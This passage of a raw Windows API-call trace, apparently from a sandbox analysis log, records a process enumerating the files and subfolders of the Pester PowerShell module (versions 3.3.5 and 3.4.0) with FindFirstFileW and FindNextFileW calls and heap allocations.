ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3672, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestDrive.Tests.ps1", cAlternateFileName="")) returned 1 [0193.856] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x5fcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestResults.ps1", cAlternateFileName="")) returned 1 [0193.856] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x9205, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestResults.Tests.ps1", cAlternateFileName="")) returned 1 [0193.856] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x31f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestsRunningInCleanRunspace.Tests.ps1", cAlternateFileName="")) returned 1 [0193.857] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x31f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestsRunningInCleanRunspace.Tests.ps1", cAlternateFileName="")) returned 0 [0193.857] FindClose (in: hFindFile=0x4531ec0 | out: hFindFile=0x4531ec0) returned 1 [0193.857] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0193.857] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICENSE", cAlternateFileName="")) returned 1 [0193.857] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x16f7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nunit_schema_2.5.xsd", cAlternateFileName="")) returned 1 [0193.857] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x731, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pester.nuspec", cAlternateFileName="")) returned 1 [0193.857] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x35e5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pester.psd1", cAlternateFileName="")) returned 1 [0193.857] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x62de, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pester.psm1", cAlternateFileName="")) returned 1 [0193.857] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4b06, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pester.Tests.ps1", cAlternateFileName="")) returned 1 [0193.857] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x1124, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="README.md", cAlternateFileName="")) returned 1 [0193.858] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc8aa684, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3567e0f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Snippets", cAlternateFileName="")) returned 1 [0193.858] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x46c4f78 [0193.858] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets") returned 70 [0193.858] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\*", lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc8aa684, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3567e0f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4531c40 [0193.860] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc8aa684, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3567e0f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.860] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d38, dwReserved0=0x0, dwReserved1=0x0, cFileName="Context.snippets.ps1xml", cAlternateFileName="")) returned 1 [0193.860] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Describe.snippets.ps1xml", cAlternateFileName="")) returned 1 [0193.860] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2cd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="It.snippets.ps1xml", cAlternateFileName="")) returned 1 [0193.861] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldBe.snippets.ps1xml", cAlternateFileName="")) returned 1 [0193.861] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldBeGreaterThan.snippets.ps1xml", cAlternateFileName="")) returned 1 [0193.861] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511c78fa, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511c78fa, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511c78fa, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d56, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldBeLessThan.snippets.ps1xml", cAlternateFileName="")) returned 1 [0193.861] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511a169b, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511a169b, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511a169b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldBeNullOrEmpty.snippets.ps1xml", cAlternateFileName="")) returned 1 [0193.861] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d49, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldContain.snippets.ps1xml", cAlternateFileName="")) returned 1 [0193.861] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d43, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldExist.snippets.ps1xml", cAlternateFileName="")) returned 1 [0193.861] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d43, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldMatch.snippets.ps1xml", cAlternateFileName="")) returned 1 [0193.861] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d43, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotBe.snippets.ps1xml", cAlternateFileName="")) returned 1 [0193.861] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d69, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotBeNullOrEmpty.snippets.ps1xml", cAlternateFileName="")) returned 1 [0193.862] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511a169b, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511a169b, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511a169b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d56, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotContain.snippets.ps1xml", cAlternateFileName="")) returned 1 [0193.862] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotExist.snippets.ps1xml", cAlternateFileName="")) returned 1 [0193.862] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotMatch.snippets.ps1xml", cAlternateFileName="")) returned 1 [0193.862] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d54, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotThrow.snippets.ps1xml", cAlternateFileName="")) returned 1 [0193.862] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d47, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldThrow.snippets.ps1xml", cAlternateFileName="")) returned 1 [0193.862] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d47, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldThrow.snippets.ps1xml", cAlternateFileName="")) returned 0 [0193.862] FindClose (in: hFindFile=0x4531c40 | out: hFindFile=0x4531c40) returned 1 [0193.863] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0193.863] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc8aa684, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3567e0f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Snippets", cAlternateFileName="")) returned 0 [0193.863] FindClose (in: hFindFile=0x4531bc0 | out: hFindFile=0x4531bc0) returned 1 [0193.864] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0193.864] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8ab4af, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.4.0", cAlternateFileName="34AE2D~1.0")) returned 1 [0193.864] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x464efa0 [0193.864] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0") returned 61 [0193.864] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\*", lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8ab4af, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4531bc0 [0193.866] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8ab4af, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0193.866] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8ac43c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bin", cAlternateFileName="")) returned 1 [0193.866] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x46c4f78 [0193.866] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\bin") returned 65 [0193.867] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\bin\\*", lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8ac43c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4531cc0 [0193.867] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8ac43c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.867] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98748765, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98748765, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98748765, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x39d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester.bat", cAlternateFileName="")) returned 1 [0193.867] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98748765, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98748765, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98748765, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x39d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester.bat", cAlternateFileName="")) returned 0 [0193.867] FindClose (in: hFindFile=0x4531cc0 | out: hFindFile=0x4531cc0) returned 1 [0193.867] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0193.867] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987224f6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987224f6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987224f6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Build.bat", cAlternateFileName="")) returned 1 [0193.867] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98748765, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98748765, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98748765, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="build.psake.ps1", cAlternateFileName="")) returned 1 [0193.868] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, 